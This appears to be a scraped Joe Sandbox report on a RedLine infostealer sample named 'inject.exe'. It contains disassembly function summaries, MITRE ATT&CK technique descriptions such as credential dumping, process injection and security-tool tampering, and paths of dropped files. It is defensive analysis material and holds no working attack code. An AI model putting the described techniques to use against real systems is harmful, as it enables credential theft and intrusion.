Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction ID: 2f673e2d7922c718e7d09235fe85c6f44ead3637766d6dbf4b6985d50823d0c9
Opcode Fuzzy Hash: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction Fuzzy Hash: 004119373157909ACB26DE22E5402AE6760FB8ABE4F095221EF9D0BB59DF38C495C700

Function 003502F0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 003503A1
memmove.MSVCRT ref: 003503F9
_CxxThrowException.MSVCRT ref: 00350454

Strings

Internal collision in update action set, xrefs: 00350383, 0035043C

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrow$memmove
String ID: Internal collision in update action set
API String ID: 265668421-2378581463
Opcode ID: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction ID: 09640e716b9c054a5e5d8e0c3ad04dfa71c1adf41e7029e2b36a7a29af78b2e4
Opcode Fuzzy Hash: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction Fuzzy Hash: 274155773086858ADB3ACB1AE454B6E7B50F38578DF048115EF8907B78DB7AD689CB00

Function 0032211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00322137
free.MSVCRT ref: 003221BB

Part of subcall function 00316618: FormatMessageW.KERNEL32 ref: 00316676
Part of subcall function 00316618: LocalFree.KERNEL32 ref: 00316698

Part of subcall function 0031362C: memmove.MSVCRT ref: 00313659

free.MSVCRT ref: 00322182

Strings

: , xrefs: 00322151, 00322187

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ErrorFormatFreeLastLocalMessagememmove
String ID: :
API String ID: 1743135865-3653984579
Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction ID: ecc03983b98cc7ca821438ec9caf63c930110c9c8c7fa7af2c8db79c8281d539
Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction Fuzzy Hash: FB015A6730490065CA26EB25E88129B6721EBCDBF4F545331BE5E4B779DE28CAC6C740

Function 0035427C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003542DF

Strings

Can not open the file as archive, xrefs: 003542D8
Can not open encrypted archive. Wrong password?, xrefs: 00354297

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs
String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
API String ID: 1795875747-2399861261
Opcode ID: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
Instruction ID: b46fd497526bc4f261a2c79d77cc8d0091adeb11b061ef91655cf7aabd5dce83
Opcode Fuzzy Hash: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
Instruction Fuzzy Hash: FF01D66631065592EF1AEF26E84079E1321AB48BC6F54A032EE0B4B764CE3DC5E9C300

Function 0033A034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0033A070
free.MSVCRT ref: 0033A078
free.MSVCRT ref: 0033A0E2
memmove.MSVCRT ref: 0033A118

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction ID: d008e9f614cb24aecfb9efe378b4b51ff3f7146ab0ebd000dc02b10f981fd0bc
Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction Fuzzy Hash: 17210863601F8099DB1BAF26ECD576A6354BB49B94F1D8124EF990F380DF78C886C312

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report inject.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\HostData\logs.uce

C:\Users\Public\Desktop\Google Chrome.lnk

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\inject.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\TmpCC60.tmp

C:\Users\user\AppData\Local\Temp\TmpCC71.tmp

Windows Analysis Report
inject.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre